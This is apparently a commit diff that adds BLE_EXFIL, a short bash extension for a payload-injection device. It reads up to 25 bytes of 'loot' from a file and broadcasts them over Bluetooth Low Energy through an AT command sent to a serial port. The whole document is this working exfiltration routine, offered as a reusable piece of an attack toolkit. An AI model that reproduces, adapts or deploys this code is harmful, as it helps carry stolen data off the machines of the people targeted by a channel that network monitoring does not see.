uploading BLE_EXFIL extension

BLE_EXFIL extension, exfiltrates data via BLE

payloads/extensions/ble_exfil.sh

@@ -0,0 +1,16 @@
+#!/bin/bash
+#
+# BLE_EXFIL v1 by @drapl0n
+# Exfiltrate data(25 bytes) stored in "/loot/ble_exfil.txt" via BLE.
+# Usage: BLE_EXFIL
+
+function BLE_EXFIL() {
+    stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost 
+    stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost 
+    sleep 1
+    text=$(cat /root/udisk/loot/ble_exfil.txt)
+    exfil=${text:0:25}
+    echo -n -e "AT+ADVDAT=$exfil" > /dev/ttyS1
+}
+
+export -f BLE_EXFIL